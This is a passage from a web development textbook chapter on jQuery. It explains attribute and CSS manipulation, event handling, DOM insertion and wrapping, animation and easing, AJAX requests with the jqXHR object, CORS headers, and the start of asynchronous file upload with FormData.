usages are as follows:

// link is assigned the href attribute of the first <a> tag

var link = $(“a”).attr(“href”); 

// change all links in the page to http://funwebdev.com

$(“a”).attr(“href”,“http://funwebdev.com”); 

// change the class for all images on the page to fancy

$(“img”).attr(“class”,“fancy”);



HTML Properties
Many HTML tags include properties as well as attributes, the most common
being the checked property of a radio button or checkbox. In early versions of
jQuery, HTML properties could be set using the attr() method. However,
since properties are not technically attributes, this resulted in odd behavior.
The prop() method is now the preferred way to retrieve and set the value of a
property although, attr() may return some (less useful) values.

To illustrate this subtle difference, consider a DOM element defined by

<input class=“meh” type=“checkbox” checked=“checked”>

The value of the attr() and prop() functions on that element differ as
shown below.

var theBox = $(“.meh”);

theBox.prop(“checked”); // evaluates to TRUE

theBox.attr(“checked”); // evaluates to “checked”

Changing CSS
Changing a CSS style is syntactically very similar to changing attributes.
jQuery provides the extremely intuitive css() method. There are two
versions of this method (with two different method signatures), one to get the
value and another to set it. The first version takes a single parameter
containing the CSS attribute whose value you want and returns the current
value.

var color = $(“#element”).css(“background-color”); // get the color

To set a CSS attribute, you use the second version of css(), which takes two
parameters: the first being the CSS attribute, and the second the value.

// set color to red

$(“#element”).css(“background-color”, “red”);



If you test this in a browser and then inspect it, you will notice that jQuery
modifies the element's style attribute (e.g., <div id=“element”
style=“background-color: red”>).

Alternately, you might want to programmatically set CSS classes instead of
overriding particular CSS attributes individually. To do so, you can use the
jQuery methods addClass(className)/removeClass(className) to add (or
remove) a CSS class. The className used for these functions can contain a
space-separated list of class names to be added or removed. The related
hasClass(classname) method returns true if the element has the className
currently assigned. The toggleClass(className) method will add or
remove a class, depending on whether it is currently present in the list of
classes.



10.2 Event Handling in jQuery
Just like JavaScript, jQuery supports creation and management of
listeners/handlers for JavaScript events. The usage of these events is
conceptually the same as with JavaScript with some minor syntactic
differences.

Hands-on Exercises Lab 10
Exercise
jQuery Listeners

Setting up listeners for particular events is done in much the same way as
JavaScript. While pure JavaScript uses the addEventListener() method,
jQuery has on() and off() methods as well as shortcut methods to attach
events. Listing 10.5 demonstrates how event handling in jQuery compares to
JavaScript.

10.2.1 Binding and Unbinding
Events
Looking at Listing 10.5, we can see that jQuery is once again much less
verbose than JavaScript. But is that all it offers? jQuery also simplifies many
common tasks when working with events. For instance, Figure 10.4
illustrates a simple example involving three different mouse events. Notice in
particular the event handler for the click event: it uses the jQuery off()
function to stop listening to the mouse move event. This is much simpler than
the analogous JavaScript-only approach.



Figure 10.4 Binding and
unbinding events

Figure 10.4 Full Alternative Text



Listing 10.5 Event handling in
jQuery versus JavaScript
equivalents
<button id=“example”>Click me</button>

<span id=“message”></span>

<script>    

// javascript version

document.getElementById(“example”).addEventListener(“click”, 

      function () {

   document.getElementById(“message”).innerHTML = “you clicked”;

});

// jquery version

$(“#example”).on(“click”, function () {

   $(“#message”).html(“you clicked”);

});

// alternate jquery version using defined function instead of anonymous one

$(“#example”).on(“click”, clicker); 

function clicker() {

   $(“#message”).html(“you clicked”);

}

// alternate jquery version using click() shortcut method

$(“#example”).click(function () {

   $(“#message”).html(“you clicked”);

});

</script>   

10.2.2 Page Loading
In JavaScript, you learned why having your listeners set up inside of the
window .addEventListener(“load”, …) event was a good practice.
Namely, it ensured the entire page and all DOM elements are loaded before
trying to attach listeners to them. With jQuery we do the same thing but use



the $(document).ready() event as shown in Listing 10.6.

Listing 10.6 Using the document's
ready event
$(document).ready(function() {

  // set up listeners knowing page loads before this runs

  $(“#example”).click(function () {

    $(“#message”).html(“you clicked”);

  });

});

What is really happening in this listing is we are setting up our event listener
only after the HTML document has been loaded and parsed into its DOM
representation. This actually occurs before the onload() event in JavaScript,
which is triggered only after all dependent resources (such as images and
stylesheets) have been loaded. It is worth noting here that there is no
document.ready event in the regular JavaScript DOM: this is a jQuery-only
addition.

Since the jQuery ready() method can only be used in the context of the
document object, it is common to use the simpler equivalent shorthand:

$(function () {

    …

});



10.3 DOM Manipulation
jQuery comes with several useful methods to manipulate the DOM elements
themselves. We have already seen how the html() function can be used to
manipulate the inner contents of a DOM element and how attr() and css()
methods can modify the internal attributes and styles of an existing DOM
element. You may remember in Chapter 9 you learned various JavaScript
DOM manipulation methods such as appendChild(), createElement(), and
createTextNode(). jQuery provides a similar suite of DOM manipulation
methods that extend the functionality provided by these native JavaScript
DOM methods.

10.3.1 Creating Nodes
If you decide to think about your page as a DOM object, then you will want
to manipulate the tree structure rather than merely manipulate strings.
Thankfully, jQuery is able to convert strings containing valid DOM syntax
into DOM objects automatically.

Recall that the basic act of creating a DOM node in JavaScript uses the
createElement() method:

var element = document.createElement('div'); //create a new DOM node

However, since the jQuery methods to manipulate the DOM take an HTML
string, jQuery objects, or DOM objects as parameters, you might prefer to
define your element using the following:

var element = $(“<div></div>”); // create new DOM node

This way you can apply all the jQuery functions to the object, rather than rely
on pure JavaScript, which has fewer shortcuts. If we consider creation of a
simple <a> element with multiple attributes, you can see the comparison of
the JavaScript and jQuery techniques in Listing 10.7.



Listing 10.7 A comparison of node
creation in JS and jQuery
// pure JavaScript way

var jsLink = document.createElement(“a”);

jsLink.href = “http://www.funwebdev.com”;

jsLink.innerHTML = “Visit Us”;

jsLink.title = “JS”;

// jQuery version 1

var link1 = $('<a href=“http://funwebdev.com” title=“jQuery”>Visit

        Us</a>');

// jQuery version 2

var link2 = $(“<a></a>”);

link2.attr(“href”,“http://funwebdev.com”);

link2.attr(“title”,“jQuery verbose”);

link2.html(“Visit Us”);

// version 3 … also not creating a temporary variable which 

// will be more typical once we start chaining methods (see next

// section)

$('<a>', {

            href: 'http://funwebdev.com',

            title: 'jQuery',

            text: 'Visit Us'

         }

);  

As you can see, jQuery provides multiple ways of creating an element. It
needs to be stressed that running the code in Listing 10.7 will affect no
visible change in the browser window. All the code has done is create DOM
nodes. In order for them to be visible, you must also add the elements to the
DOM tree, which is covered next.

10.3.2 Adding DOM Elements
When an element is defined in any of the ways described in Listing 10.7, it
must be inserted into the existing DOM tree. You can also insert the element



into several places at once if you desire, since selectors return a set of DOM
elements.

Hands-on Exercises Lab 10
Exercise
Inserting DOM Elements

The append() method takes as a parameter an HTML string, a DOM object,
or a jQuery object. That object is then added as the last child to the element(s)
being selected. In Figure 10.5 , we can see the effect of an append() method
call. As can be seen in the figure, jQuery has a variety of additional methods
for adding content to the DOM tree.



Figure 10.5 Comparing
methods for adding content



Figure 10.5 Full Alternative Text

The appendTo() method is similar to append() but is used in the
syntactically converse way. If we were to use appendTo(), we would have to
switch the object making the call and the parameter to have the same effect as
append(). The example in the figure uses the variable link, but a more
common approach that is functionally equivalent would look like the
following:

$('<a href=“http://funwebdev.com”>Fun</a>').appendTo($('.dest')); 

The prepend() and prependTo() methods operate in a similar manner except
that they add the new element as the first child rather than the last. The
diagram also illustrates the before() and after() methods for adding
content before or after a specified element.

10.3.3 Wrapping Existing DOM in
New Tags
One of the most common ways you can enhance a website that supports
JavaScript is to add new HTML tags as needed to support some jQuery
functions. Imagine for illustration purposes our art galleries being listed
alongside some external links as described by the HTML in Listing 10.8.

Listing 10.8 HTML to illustrate
DOM manipulation
<div class=“external-links”>

  <div class=“gallery”>Uffuzi Museum</div>

  <div class=“gallery”>National Gallery</div>

  <div class=“link-out”>funwebdev.com</div>

</div>

If we wanted to wrap all the gallery items in the whole page inside, another



<div> (perhaps because we wish to programmatically manipulate these items
later) with class galleryLink we could write:

$(“.gallery”).wrap('<div class=“galleryLink”><div>');

This modifies the HTML to that shown in Listing 10.9. Note how each and
every link is wrapped correctly in a <div> that uses the galleryLink class.

Listing 10.9 Resulting HTML from
Listing 10.8 after the wrap()
<div class=“external-links”>

  <div class=“galleryLink”>

  <div class=“gallery”>Uffuzi Museum</div>

  </div>       

  <div class=“galleryLink”>

  <div class=“gallery”>National Gallery</div>

  </div>       

  <div class=“link-out”>funwebdev.com</div> 

</div>

In a related demonstration of how succinctly jQuery can manipulate HTML,
consider the situation where you wanted to add a title element to each <div>
element that reflected the unique contents inside. To achieve this more
sophisticated manipulation, you must pass a function as a parameter rather
than a tag to the wrap() method, and that function will return a dynamically
created <div> element as shown in Listing 10.10.

Listing 10.10 Using wrap() with
callback to create a unique div for
each element
$(“.gallery”).wrap(function() {

  return “<div class='galleryLink' title='Visit ” + 



           $(this).html() + “'></div>”;

});

Pro Tip
You might have noticed the use of $(this) in Listing 10.10 and wondered
what it means. This is a common idiom amongst jQuery developers. It is used
within functions to provide a jQuery-wrapped version of the this keyword.
You may remember from Chapter 8, that this is often a point of confusion
for JavaScript developers since its meaning is completely dependent upon the
context in which it is used. In Listing 10.10, the $(this) refers to whatever
$(“.gallery”) object is passed to the wrap() function.

The wrap() method is a callback function, which is called for each element in
a set (often an array). Each element then becomes this for the duration of
one of the wrap() function's executions, allowing the unique title attributes as
shown in Listing 10.11.

Listing 10.11 Resulting HTML from
Listing 10.8 after executing wrap
code from Listing 10.10
<div class=“external-links”>

  <div class=“galleryLink” title=“Visit Uffuzi Museum”>

  <div class=“gallery”>Uffuzi Museum</div>

  </div>       

  <div class=“galleryLink” title=“Visit National Gallery”>

  <div class=“gallery”>National Gallery</div>

  </div>       

  <div class=“link-out”>funwebdev.com</div> 

</div>

As with almost everything in jQuery, there is an inverse method to
accomplish the opposite task. In this case, unwrap() is a method that does not



take any parameters and whereas wrap() added a parent to the selected
element(s), unwrap() removes the selected item's parent.

Other methods such as wrapAll() and wrapInner() provide additional
control over wrapping DOM elements. The details of those methods can be
found in the online jQuery documentation.3

Extended Example
Now that we have covered the basics of working with jQuery, we are going
to put this knowledge to work in an extended example. In the example page,
a simple form and list are displayed. jQuery event handling on the buttons
dynamically adds user text content either to the beginning or the end of the
list.





10.3-2 Full Alternative Text



10.4 Effects and Animation
When developers first learn to use jQuery, they are often initially attracted to
the easy-to-use animation and effects. When used appropriately, these
features can make your web applications appear more professional and
engaging.

Hands-on Exercises Lab 10
Exercise
Simple jQuery animation

10.4.1 Animation and Effects
Shortcuts
By now you've seen how jQuery provides complex (and complete) methods
as well as shortcuts. Animation is no different with a raw animate() method
and many more easy-to-use shortcuts like fadeIn()/fadeOut() and
slideUp()/slideDown(). We introduce jQuery animation using the shortcuts
first, then we will learn about animate() afterward.

One of the common things done in a dynamic web page is to show and hide
an element. Modifying the visibility of an element can be done using css(),
but that causes an element to change instantaneously, which can be visually
jarring. To provide a more natural transition from hiding to showing, the
hide() and show() methods allow developers to easily hide elements
gradually, rather than through an immediate change.

The hide() and show() methods can be called with no arguments to perform



a default animation. Another version allows two parameters: the duration of
the animation (in milliseconds) and a callback method to execute on
completion. Using the callback is a great way to chain animations together, or
just ensure elements are fully visible before changing their contents.

Listing 10.12 describes a simple contact form and script that builds and
shows a clickable email link when you click some type of email icon (in this
example the icon is displayed via CSS for the email class). Hiding an email
link is a common way to avoid being targeted by spam bots that search for
mailto: links in your <a> tags.

A visualization of the show() method is illustrated in Figure 10.6 .5 Note that
both the size and opacity are changing during the animation. Although using
the very straightforward hide() and show() methods works, you should be
aware of some more advanced shortcuts that give you more control.

Figure 10.6 Illustration of the
show() animation using the icon
from openiconlibrary .
sourceforge.net

Figure 10.6 Full Alternative Text

Fading
The fadeIn() and fadeOut() shortcut methods control the opacity of an

http://sourceforge.net


element. The parameters passed are the duration and the callback, just like
hide() and show(). Unlike hide() and show(), there is no scaling of the
element, just strictly control over the transparency. Figure 10.7 shows a span
during its animation using fadeIn().

Figure 10.7 Illustration of a
fadeIn() animation

Figure 10.7 Full Alternative Text

It should be noted that there is another method, fadeTo(), that takes two
parameters: a duration in milliseconds and the opacity to fade to (between 0
and 1).

Listing 10.12 jQuery to build an
email link based on page content
and animate its appearance
<div class=“contact”>

  <p>Randy Connolly</p>

  <div class=“email”>Show email</div>

</div>

<div class=“contact”>

  <p>Ricardo Hoar</p>

  <div class=“email”>Show email</div>

</div>

<script type='text/javascript'>

$(“.email”).click(function() {

     // Build email from 1st letter of first name + lastname 



     // @ mtroyal.ca

     var fullName = $(this).prev().html();

     var firstName = fullName.split(“ ”)[0];

     var address = firstName.charAt(0) + fullName.split(“ ”)[1] +

                   “@mtroyal.ca”;

     $(this).hide();       // hide the clicked icon

$(this).html(“<a href='mailto:” + address + “'>Mail Us</a>”);

     $(this).show(1000);    // take 1 second to show the email address

</script>

Sliding
The final shortcut methods we will talk about are slideUp() and
slideDown(). These methods do not touch the opacity of an element, but
rather gradually change its height. Figure 10.8 shows a sample page that uses
the slideUp() method to make a drop-down menu of links appear when
hovering over an element.



Figure 10.8 Using the slide
functions

Figure 10.8 Full Alternative Text

Toggle Methods
As you may have seen, the shortcut methods come in pairs, which make them



ideal for toggling between a shown and hidden state. jQuery has gone ahead
and written multiple toggle methods to facilitate exactly that. For instance, to
toggle between the visible and hidden states (i.e., between using the hide()
and show() methods), you can use the toggle() methods. To toggle between
fading in and fading out, use the fadeToggle() method; toggling between the
two sliding states can be achieved using the slideToggle() method.

Using a toggle method means you don't have to check the current state and
then conditionally call one of the two methods; the toggle methods handle
those aspects of the logic for you.

10.4.2 Raw Animation
The animations shown this far are all actually variations of the generic
animate() method. When you want to do more than just fade or slide
elements, you will need to make use of this method. It allows you to animate
any numeric CSS property. For instance, the following code will animate the
specified element from the left to the right side of the browser window.

Pro Tip
Back in Chapter 7, you were introduced to CSS transitions and animations.
You might be wondering how jQuery effects compare to the CSS ones.
Clearly one advantage of CSS effects is that no programming is required. For
simple state changes such as fading or rotating, CSS effects execute faster
than jQuery equivalents. However, CSS effects are much more limited in
terms of what kinds of actions can trigger the events; jQuery provides
complete programmatic control over the effects. Perhaps you want a certain
effect to happen when some type of data event occurs (for instance, to signal
that something has been saved on the server). Doing this in CSS is often
difficult to impossible. jQuery also provides precise control over any
animations and can do things (such as animate along a curve or perform more
complicated actions at specific points in an animation) that CSS cannot do.



$(“#box”).animate({left: '495px'});

The parameter here is a plain JavaScript object containing the CSS styles of
the final state of the animation. That is, the parameters indicate the CSS
property values after the animation has executed. The before state is whatever
properties the element has before the animate() method is called.

You can chain several calls together for more complicated animation effects,
as shown in Figure 10.9 .



Figure 10.9 Using the animate



function
Figure 10.9 Full Alternative Text

The animate() method has several versions that accept different parameters.
You can specify the duration of the animation, the easing function to use
(described in the next section), or an options parameter that is another plain
JavaScript object with any of the following options.

always is the function to be called when the animation completes or
stops with a fail condition. This function will always be called (hence
the name).

done is a function to be called when the animation completes.

duration is a number controlling the duration of the animation.

fail is the function called if the animation does not complete.

progress is a function to be called after each step of the animation.

queue is a Boolean value telling the animation whether to wait in the
queue of animations or not. If false, the animation begins immediately.

step is a function you can define that will be called periodically, while
the animation is still going. It takes two parameters: a now element, with
the current numerical value of a CSS property, and an fx object, which is
a temporary object with useful properties like the CSS attribute it
represents. See Listing 15.23 for example usage to do rotation.

Advanced options called easing and specialEasing allow for advanced
control over the speed of animation.

Easing functions
Movement rarely occurs in a linear fashion in nature. A ball thrown in the air



slows down as it reaches the apex then accelerates toward the ground. In web
development, easing functions are used to simulate that natural type of
movement. They are mathematical equations that describe how fast or slow
the transitions occur at various points during the animation.

Hands-on Exercises Lab 10
Exercise
Complex Animations

Included in jQuery are linear and swing easing functions. Linear is a straight
line and so animation occurs at the same rate throughout while swing starts
slowly and ends slowly. Figure 10.10 shows graphs for both the linear and
swing easing functions.

Figure 10.10 Visualization of



the linear and swing easing
functions

Figure 10.10 Full Alternative Text

Easing functions are just mathematical definitions. For example, the function
defining swing for values of time t between 0 and 1 is

swing (t)=−12cos (tπ)+0.5

The jQuery UI extension provides over 30 easing functions, including cubic
functions and bouncing effects, so you should not have to define your own.

An example usage of animate() is shown in Listing 10.13 where we apply
several transformations (changes in CSS properties), including one for the
text size, opacity, and a CSS3 style rotation, resulting in the animation
illustrated in Figure 10.11 .



Figure 10.11 Illustration of an
animation with step calls for
numeric CSS properties over
time t

Figure 10.11 Full Alternative Text

Listing 10.13 Use of animate() with



a step function to do CSS3 rotation
<script>

$(function() {

    $(“#rectangle”).click(function() {

       // animate the current object

      $(this).animate(

             // parameter 1: object literal containing CSS options

             {

                opacity: “0.3”,

                width: “400px”,

                height: “100px”

            },

             // parameter 2: object literal containing animate options

            {

                step: function(now, fx) {

                     // for each step of the height animation …

                      if (fx.prop == “height”) {

                         // rotate the rectangle a certain percentage

                          var angle = (now / 100) * 360;

                         // rotate it via CSS transform

                         $(this).css(“transform”, “rotate(” + angle

                                     + “deg)”);

                    }

                },

                duration: 2000,

                easing: “linear”

            }

        );

    });

});

</script>    

<div id=“rectangle”></div> 



10.5 AJAX
Asynchronous JavaScript with XML (AJAX) is a term used to describe a
paradigm that allows a web browser to send messages back to the server
without interrupting the flow of what's being shown in the browser. This
makes use of a browser's multithreaded design and lets one thread handle the
browser and interactions while other threads wait for responses to
asynchronous requests.

Figure 10.12 annotates a UML sequence diagram where the white activity
bars illustrate where computation is taking place. Between the request being
sent and the response being received, the system can continue to process
other requests from the client, so it does not appear to be waiting in a loading
state.



Figure 10.12 UML sequence



diagram of an AJAX request
Figure 10.12 Full Alternative Text

Responses to asynchronous requests are caught in JavaScript as events. The
events can subsequently trigger changes in the user interface or make
additional requests. This differs from the typical synchronous requests we
have seen thus far, which require the entire web page to refresh in response to
a request.

Another way to contrast AJAX and synchronous JavaScript is to consider a
web page that displays the current server time as illustrated in Figure 10.13 .
If implemented synchronously, the entire page has to be refreshed from the
server just to update the displayed time. During that refresh, the browser
enters a waiting state, so the user experience is interrupted (yes, you could
implement a refreshing time using pure JavaScript, but for illustrative
purposes, imagine it's essential to see the server's time).



Figure 10.13 Illustration of a
synchronous implementation of



the server time web page
Figure 10.13 Full Alternative Text

In contrast, consider the very simple asynchronous implementation of the
server time, where an AJAX request updates the server time in the
background as illustrated in Figure 10.14 .



Figure 10.14 Illustration of an



AJAX implementation of the
server time web page

Figure 10.14 Full Alternative Text

In pure JavaScript, it is possible to make asynchronous requests, but it's
tricky and in the past there were big differences between Mozilla's
XMLHttpRequest object and Internet Explorer's ActiveX wrapper. jQuery
simplifies making asynchronous requests in different browsers by defining
high-level methods that can work on any browser (and hiding the
implementation details from the developer).

Note
The term web service is typically used to refer to a type of web page that only
provides data. Web services are a relatively standardized mechanism by
which one software application can connect to and communicate with another
software application using web protocols. They generally use XML (covered
in Chapter 19) or JSON (which was covered in Chapter 8) to encode data
within HTTP transmissions so that almost any platform should be able to
encode or retrieve the data contained within a web service.

Chapter 19 is dedicated to web services and will examine the different
protocol options available as well as how to create web services in PHP.

10.5.1 Making Asynchronous
Requests
jQuery provides a family of methods to make asynchronous requests. We will
start with the simplest GET requests, and work our way up to the more
complex usage of AJAX where all variety of control can be exerted.



Consider for instance the very simple server time page described above. If
you have a server-side script named currentTime.php that returns a single
string and you want to load that value asynchronously into the <div
id=“timeDiv”> element, jQuery makes this extraordinarily simple:

$(“#timeDiv”).load(“currentTime.php”);

This code must be running on a web server in order for this code to work,
because the reference to currentTime.php is referencing a server-side script
in the current folder.

What happens when this is executed? jQuery makes an HTTP GET request of
the page currentTime.php from the same folder as the requesting page on
the server; when the browser receives the response from the request, it sets
the html content of the element equal to the response. The limitation with the
load() method is that the requested page must return exactly what we want
to display. For this reason, you will typically need to use the more useful
get() method instead.

GET Requests
To illustrate the more powerful features of jQuery and AJAX, consider the
more complicated scenario of a page containing a <select> element as
illustrated in Figure 10.15 .



Figure 10.15 Illustration of a



list being updated
asynchronously

Figure 10.15 Full Alternative Text
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When the user selects from the country list, the page makes an asynchronous
request. Making a request for the country Italy could easily be encoded as a
URL request GET/serviceTravelCountries.php?name=Italy. We can use
jQuery's $.get() method to send that GET request asynchronously as follows:

$.get(“serviceTravelCountries.php?name=Italy”);

Note that the $ symbol is followed by a dot. Just as in the load() example
above, the page with this code must be running on a web server in order for
this code to work, because the reference to serviceTravelCountries.php is
referencing a server-side script in the current folder.

Attaching that function call to the form's submit event allows the form's
default behavior to be replaced with an asynchronous GET request. If we
want to execute the request when the user selects an item from the list, we
would attach it instead to the change event of the element.

So what does get() method return? It could be HTML, but it is more likely
to be a data format such as JSON or XML. You briefly encountered JSON
(JavaScript Object Notation) back in Chapter 8. You will learn more about
XML in Chapter 19. In the examples that follow, the get() method will be
returning data in the JSON format. This greatly simplifies the code that



responds to the get() method call since the data is already a JavaScript
object.

Note
Although a GET request passes information in the URL, you can split the
request into URL and data components by passing the query string as the data
parameter and let the jQuery engine build the complete URL (with ? added).

$.get(“serviceTravelCountries.php?name=Italy”);

can therefore be rewritten as

$.get(“serviceTravelCountries.php”, “name=Italy”);

This allows you to easily change between GET and POST requests for
debugging and modularize your request calls.

Although a get() method can request a resource very easily, you may be also
wondering what do you do once the response is received. Handling the
response from the request requires that we revisit the notion of the handler
and listener.

The event handlers used in jQuery are no different than those we've seen in
JavaScript, except that they are attached to the event triggered by a request
completing rather than a mouse move or key press. The formal definition of
the get() method lists one required parameter url and three optional ones:
data, a callback function that will get called if the request was successful, and
a dataType.

jQuery.get ( url [, data ] [, success([data, textStatus, jqXHR]) ]

                 [, dataType ] )

url is a string that holds the location to send the request.

data is an optional parameter that is a query string or a JavaScript object
literal.



success(data,textStatus,jqXHR) is an optional callback function that
executes when the response is received. Callbacks are the programming
term given to placeholders for functions so that a function can be passed
into another function and then called from there (called back). This
callback function can take three optional parameters

data holding the body of the response as a string.

textStatus holding the status of the request (i.e., “success”).

jqXHR holding a jqXHR object, described shortly.

dataType is an optional parameter to hold the type of data expected
from the server. By default jQuery makes an intelligent guess between
xml, json, script, or html.

In Figure 10.16 , you can see how the $.get() method works in a typical
example: a callback function is passed as the second parameter to the get()
method and uses the textStatus parameter to distinguish between a
successful request and an error. The data parameter contains the returned data
(in this case JSON data).





Figure 10.16 Example jQuery
page with asynchronous get()

Figure 10.16 Full Alternative Text

Unfortunately, if the page requested (serviceTravelCities.php) does not
exist on the server, then the callback function does not execute at all, so the
code announcing an error will never be reached. To address this, we can
make use of the jqXHR object to build a more complete solution.

Pro Tip
In all the AJAX examples in this section, we are referencing a server-side
page named serviceTravelCities.php which, to simplify the code, we are
assuming is in the same server folder as the page containing the JavaScript
code. If you are interested in testing these AJAX code samples yourself but
want to run them locally, then the URL used will have to switch to a full
absolute reference. We have placed this serviceTravelCities.php file on
one of the author's personal site. You can access the file in your own test
code by using the following URL:

http://www.randyconnolly.com/funwebdev/services/travel/cities.php

The jqXHR Object
All of the $.get() requests made by jQuery return a jqXHR object to
encapsulate the response from the server. This object is a superset of the
XMLHttpRequest object. The following properties and methods are provided
to conform to the XMLHttpRequest definition.

http://www.randyconnolly.com/funwebdev/services/travel/cities.php
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abort() stops execution and prevents any callback or handlers from
receiving the trigger to execute.

getResponseHeader() takes a parameter and gets the current value of
that header.

readyState is an integer from 1 to 4 representing the state of the
request. The values include 2: request sent, 3: response being processed,
and 4: completed.

responseXML and/or responseText the main response to the request.

setRequestHeader(name, value) allows headers to be changed for the
request.

status is the HTTP request status codes described back in Chapter 2.
(200 = ok)

statusText is the associated description of the status code.

jqXHR objects implement the methods done(), fail(), and always(), which
allow us to structure our code in a more modular way than the inline callback.
Figure 10.17 shows a representation of the various paths a request could take,
and which methods are called.



Figure 10.17 Sequence diagram
depicting how the jqXHR
object reacts to different



response codes
Figure 10.17 Full Alternative Text

Listing 10.14 Modular jQuery code
using the jqXHR object
<script>

 // display an animated loading GIF

 $('.animLoading').show();

 $.get(“serviceTravelCities.php”, param)

    .done(function (data) {

        var select = $(“<select id='cities'></select>”);

        // loop through an array using jquery's $.each() method

        $.each(data, function(index,city) {

            select.append('<option value=“' + city.id + '”>' + city.name + 

                        '</option>');

        });

        $(“#results”).empty().append(select);                

    })

    .fail(function (jqXHR) {

        alert(“Error: ” + jqXHR.status);

    })

    .always(function () {

        // all done so now hide the animated loading GIF

        $('.animLoading').fadeOut(“slow”); }); 

</script>

<div class=“animLoading”><img src=“images/ajax-loader.gif” /></div>

By using these methods, the messy and incomplete code from Figure 10.16
becomes the more modular code in Listing 10.14, which also happens to
work if the file was missing from the server. Notice as well the introduction
of code to show an animated loading GIF until the asynchronous data request
is finished (either successfully or if it fails).

As we progress with AJAX in jQuery, you will see that the jqXHR object is
used extensively and that knowledge of it will help you develop more



effective, complete code.

POST Requests
POST requests are often preferred to GET requests because one can post an
unlimited amount of data, and because they do not generate viewable URLs
for each action. GET requests are typically not used when we have forms
because of the messy URLs and that limitation on how much data we can
transmit. Finally, with POST it is possible to transmit files, something which
is not possible with GET.

Note
Code written in versions of jQuery earlier than 1.8 will use methods
jqXHR.success(), jqXHR.error(), and jqXHR.complete() rather than
jqXHR.done(), jqXHR.fail(), and jqXHR.always().

Although the differences between a GET and POST request are relatively
minor, the HTTP 1.1 definition describes GET as a “safe” method meaning
that the request should not modify the requested resource. For instance, a
GET request to delete a record on the server is possible, but not “correct.”
POST requests, on the other hand, are not safe, and thus should be used
whenever we are changing the state of the server resource (like updating a
record).

jQuery handles POST almost as easily as GET, with the need for an added
field to hold our data. The formal definition of a jQuery post() request is
identical to the get() request, aside from the method name.

jQuery.post  ( url [, data ] [, success(data, textStatus, jqXHR) ] 

                   [, dataType ] )

The main difference between a POST and a GET http request is where the
data is transmitted. The data parameter, if present in the function call, will be
put into the body of the request. Interestingly, it can be passed as a string



(with each name=value pair separated with a “&” character) like a GET
request or as a Plain Object, as with the get() method.

If we were to convert our code from Listing 10.14 to a POST request, it
would simply change the first line from

$.get(“serviceTravelCities.php”, param)

to

$.post(“serviceTravelCities.php”, param)

Since jQuery can be used to submit a form, you may be interested in the
shortcut method serialize(), which can be called on any form object to
return its current key-value pairing as an & separated string, suitable for use
with post().

Consider our simple country-selecting example. Since the form has a single
field, it's easy to understand the ease of creating a short query string on the
fly. However, as forms increase in size this becomes more difficult, which is
why jQuery includes a helper function to serialize an entire form in one step.
The serialize() method can be called on a DOM form element as follows:

var postData = $(“#someForm”).serialize();

With the form's data now encoded into a query string (in the postData
variable), you can transmit that data through an asynchronous POST using
the $.post() method as follows:

$.post(“formHandler.php”, postData);

Note
You may have noticed that both $.get() and $.post() methods perform
asynchronous transmission. This default behavior in jQuery makes your code
more succinct (so long as you want asynchronous transmission). To transmit
synchronously, you must use the $.ajax() method.



10.5.2 Complete Control over AJAX
It turns out both the $.get() and $.post() methods are actually shorthand
methods for the $.ajax() method, which allows fine-grained control over
HTTP requests. This method allows us to control many more aspects of our
asynchronous JavaScript requests including the modification of headers and
use of cache controls.

The ajax() method has two versions. In the first it takes two parameters: a
URL and an object literal containing any of over 30 fields. A second version
with only one parameter is more commonly used, where the URL is but one
of the key-value pairs in the object literal. The one line required to submit our
asynchronous request in Listing 10.14 becomes the more verbose code in
Listing 10.15.

Listing 10.15 A raw AJAX method
code to submit a GET request
$.ajax({ url: “serviceTravelCities.php”,

         data: param,

         async: true,

         type: get

});

A complete listing of the 33 options available to you would require a chapter
in itself. Some of the more interesting things you can do are send login
credentials via the Authenticate header (which we will cover in Chapter 18).
You can also specify headers using the header field, which brings us full
circle to the HTTP protocol first explored in Chapter 2.

To pass HTTP headers to the ajax() method, you enclose as many as you
would like in a Plain Object. To illustrate how you could override User-
Agent and Referer headers in the POST, see Listing 10.16.



10.5.3 Cross-Origin Resource
Sharing
As you will see when we get to Chapter 18 on security, cross-origin resource
sharing (also known as cross-origin scripting) is a way by which some
malicious software can gain access to the content of other web pages you are
surfing despite the scripts being hosted on another domain. Since modern
browsers prevent cross-origin requests by default (which is good for
security), sharing content legitimately between two domains becomes harder.
For instance, by default, JavaScript requests for images on
images.funwebdev.com from the domain www.funwebdev.com will result in
denied requests because subdomains are considered different origins.

Listing10.16 Adding headers to an
AJAX post in jQuery
$.ajax({ url: “vote.php”,

         data: $(“#voteForm”).serialize(),

         async: true,

         type: post,

         headers: {“User-Agent” : “Homebrew Vote Engine”,

                   “Referer”: “http://funwebdev.com”

                  }

});

Cross-origin resource sharing (CORS) uses new headers in the HTML5
standard implemented in most new browsers. If a site wants to allow any
domain to access its content through JavaScript, it would add the following
header to all of its responses.

Access-Control-Allow-Origin: *

The browser, seeing the header, permits any cross-origin request to proceed
(since * is a wildcard) thus allowing requests that would be denied otherwise
(by default).

http://www.funwebdev.com


A better usage is to specify specific domains that are allowed, rather than cast
the gates open to each and every domain. For instance, if we add the
following header to our responses from the images.funwebdev.com domain,
then we will prevent all cross-site requests, except those originating from
www.funwebdev.com:

Access-Control-Allow-Origin:  www.funwebdev.com

Note
The web services from www.randyconnolly.com used in Project 3 at the end
of this chapter all have the Access-Control-Allow-Origin header set to * so
that they can be used by all students.

http://www.funwebdev.com
http://www.funwebdev.com
http://www.randyconnolly.com


10.6 Asynchronous File
Transmission
Asynchronous file transmission is one of the most powerful tools for modern
web applications. In the days of old, transmitting a large file could require
your user to wait idly by while the file uploaded, unable to do anything
within the web interface. Since file upload speeds are almost always slower
than download speeds, these transmissions can take minutes or even hours,
destroying the feeling of a “real” application. Unfortunately jQuery alone
does not permit asynchronous file uploads! Older browsers needed to
accomplish this task using hidden <iframe> elements. Luckily, HTML5
provides a more transparent approach using the FormData interface4 so we
can post a file as illustrated in Figure 10.18 .

Figure 10.18 Posting a file



using FormData
Figure 10.18 Full Alternative Text

10.6.1 The FormData Interface
Using the FormData interface and File API, which is part of HTML5, you no
longer have to trick the browser into posting your file data asynchronously.

The FormData interface provides a mechanism for JavaScript to read a file
from the user's computer (once they choose the file) and encode it for upload.
You can use this mechanism to upload a file asynchronously. Intuitively, the
browser is already able to do this, since it can access file data for
transmission in synchronous posts. The FormData interface simply exposes
this functionality to the developer, so you can turn a file into a string when
you need to.

Author's Advice
This section on asynchronous file transmission is an advanced topic, and one
that you might not need to learn in a typical university web development
course. After you learn about how the server processes uploaded files
(synchronously and asynchronously) in Chapter 12, and you have developed
more experience using jQuery and AJAX you may want to revisit this section
again.

Listing 10.17 Using the FormData
interface to post files
asynchronously



function uploadFile () {

  // get the file as a string

